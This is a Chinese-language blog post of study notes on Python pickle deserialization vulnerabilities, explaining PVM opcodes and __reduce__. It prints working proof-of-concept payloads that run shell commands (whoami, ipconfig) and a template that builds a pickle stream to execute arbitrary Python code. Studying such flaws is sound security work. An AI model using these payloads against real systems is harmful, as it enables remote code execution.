Python 反序列化漏洞學習筆記

發表於2020-12-10

參考文章

一篇文章帶你理解漏洞之 Python 反序列化漏洞
Python Pickle/CPickle 反序列化漏洞
Python反序列化安全問題
pickle反序列化初探

前言

上面看完,請忽略下面的內容

Python 中有很多能進行序列化的模組,比如 Json、pickle/cPickle、ShelveMarshal

一般 pickle 模組較常使用
在 pickle 模組中 , 常用以下四個方法

  • pickle.dump(obj, file) : 將物件序列化後儲存到檔案
  • pickle.load(file) : 讀取檔案, 將檔案中的序列化內容反序列化為物件
  • pickle.dumps(obj) : 將物件序列化成字串格式的位元組流
  • pickle.loads(bytes_obj) : 將字串格式的位元組流反序列化為物件
    注意:file檔案需要以 2 進位制方式開啟,如 wbrb

序列化

  1. 從物件提取所有屬性,並將屬性轉化為鍵值對
  2. 寫入物件的類名
  3. 寫入鍵值對

看到下面這個序列化例子

py3 序列化後結果為:

b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x051ndex\x94\x8c\x03age\x94K\x12ub.'

py2 序列化後結果為:

(i__main__
Test
p0
(dp1
S'age'
p2
I18
sS'name'
p3
S'1ndex'
p4
sb.

這麼一大串字元代表什麼意思呢?可以簡單的與 PHP 反序列化結果做類比 ----> 特定的字元開頭幫助直譯器指明特定的操作或內容
實際上這是一串 PVM 操作碼

以 py2 執行得到的序列化結果 其中某些行的開頭的字元具有特殊含義

符號 含義 形式 例子
c 匯入模組及其具體物件 c[module]\n[instance]\n cos\nsystem\n
( 左括號
t 相當於),與(組合構成一個元組
R 表示反序列化時依據 reduce 中的方式完成反序列化,會避免報錯 這在反序列化漏洞中很重要 很重要
S 代表一個字串 S'string'\n
p 後面接一個數字,代表第n塊堆疊 p0、p1
. 表示結束 .

例如:

cos\nsystem\n(S'whoami'\ntR.

反序列化

  1. 獲取 pickle 輸入流,也就是上面說的 PVM 碼
  2. 重建屬性列表
  3. 根據類名建立一個新的物件
  4. 將屬性複製到新的物件中

反序列化時,將字串(pickle 流)轉換為物件

PHP 序列化相似,Python 序列化也是將物件轉換成具有特定格式的字串(py2)或位元組流(py3),以便於傳輸與儲存,比如 session

但是在反序列化時又與 PHP 反序列化又有所不同:

  • PHP 反序列化要求原始碼中必須存在有問題的類,要求是被反序列化的物件中存在可控引數,具體可看這裡
  • 而 Python 反序列化不需要,其只要求被反序列化的字元可控即可造成 RCE,例如:
# Python2
import pickle
s ="cos\nsystem\n(S'whoami'\ntR."  # 將被反序列化的字串
pickle.loads(s)  # 反序列化後即可造成命令執行,因此網站對要被反序列化的字串應該做嚴格限制

在 Python 中,一切皆物件,因此能使用 pickle 序列化的資料型別有很多

  • None、True 和 False
  • 整數、浮點數、複數
  • str、byte、bytearray
  • 只包含可封存物件的集合,包括 tuple、list、set 和 dict
  • 定義在模組最外層的函式(使用 def 定義,lambda 函式則不可以)
  • 定義在模組最外層的內建函式
  • 定義在模組最外層的類
  • 某些類例項,這些類的 __dict__ 屬性值或 __getstate__() 函式的返回值可以被封存

其中檔案、套接字、以及程式碼物件不能被序列化!

Why

Python 反序列化漏洞跟 __reduce__() 魔術方法相關
其類似於 PHP 物件中的 __wakeup() 方法,會在反序列化時自動呼叫
__reduce__() 魔術方法可以返回一個字串或者時一個元組。其中返回元組時,第一個引數為一個可呼叫物件,第二個引數為該物件所需要的引數

When

關鍵問題就在 __reduce__ 方法第二種返回方式---元組。在反序列化時自動呼叫 __reduce__() 方法,該方法會自動呼叫返回值中的函式模組並執行
例如下面存的程式碼:

import pickle
import os

class Rce(object): 
    def __reduce__(self):
        return (os.system,('ipconfig',))

a = Rce()
b = pickle.dumps(a)
pickle.loads(b)  # 執行該語句進行反序列化,自動執行 __reduce__ 方法,並且執行 os.system('ipconfig')

注意點:元類無法在反序列化時呼叫 __reduce__ 魔術方法,簡單理解就是沒有繼承 object 的類

class A():
    pass  # 反序列化時不會呼叫 __reduce__ 方法
class B(object):
    pass  # 反序列化時會呼叫 __reduce__ 方法

由於 Python 反序列化時只需要被反序列化的字串可控(而不需要原始碼中存在有安全問題的類)便可造成 RCE
因此我們可以通過如下程式碼輕鬆構造 Payload:

import pickle
import os

class Rce(object): 
    def __reduce__(self):
        return (os.system,('ipconfig',))

a = Rce()
b = pickle.dumps(a)
print(b)

特性

  1. 看到如下兩種不同的序列化結果:
import pickle
import os
class Rce(object):
	name = "1ndex"
a = Rce()
print(pickle.dumps(a))

結果:

ccopy_reg\n_reconstructor\np0\n(c__main__\nRce\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n.
import pickle
import os
class Rce(object):
	name = "1ndex"
	def __reduce__(self):
		return (os.system,("a",))
a = Rce()
print(pickle.dumps(a))

結果:

cposix\nsystem\np0\n(S'ifconfig'\np1\ntp2\nRp3\n.         

然後用下面這個程式碼執行反序列化:

import pickle
str = "填寫上面序列化後的結果"
pickle.loads(str)

一 對應的結果反序列化:

AttributeError: 'module' object has no attribute 'Rce'  # 報錯

二 對應的結果反序列化成功

一般來說反序列化時如果原始碼中沒有對應的類 Rce,是會直接報錯的(也就是上面一的結果),但是為什麼在反序列化二的時候卻能成功呢?原始碼中明明也沒有這個 Rce 的類啊

當序列化以及反序列化的過程中碰到一無所知的擴充套件型別/類的時候,可以通過類中定義的 __reduce__ 方法來告知如何進行序列化或者反序列化
也就是說我們,只要在類中定義一個 reduce 方法,我們就能在反序列化時,讓這個類根據我們在__reduce__ 中指定的方式進行序列化(也就會執行 return 中的惡意程式碼)

這應該就是大佬說的相似:

Python 除了能反序列化當前程式碼中出現的類(包括通過 import的方式引入的模組中的類)的物件以外,還能利用其徹底的物件導向的特性來反序列化使用 types 建立的匿名物件,這樣的話就大大拓寬了我們的攻擊面。

  1. 反序列化執行 reduce 魔術方法,在 return 時,回自動匯入原始碼中沒有引入的模組,例如:
import pickle
s ="cos\nsystem\n(S'whoami'\ntR."  # 將被反序列化的字串
pickle.loads(s)  # 實際上會執行 os.system('whoami'),但是可以看到原始碼中並未匯入 os 模組

Solution

  • 嚴格控制要被反序列化的字串

利用

執行命令

import pickle
import os
class Rce(object):
	def __reduce__(self):
		return (commands.getoutput,("whoami",))
a = Rce()
print(pickle.dumps(a))

執行任意 Python 程式碼

import marshal
import base64

def code():
    # 這裡放任意想執行的 Python 程式碼
    pass

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))

相關文章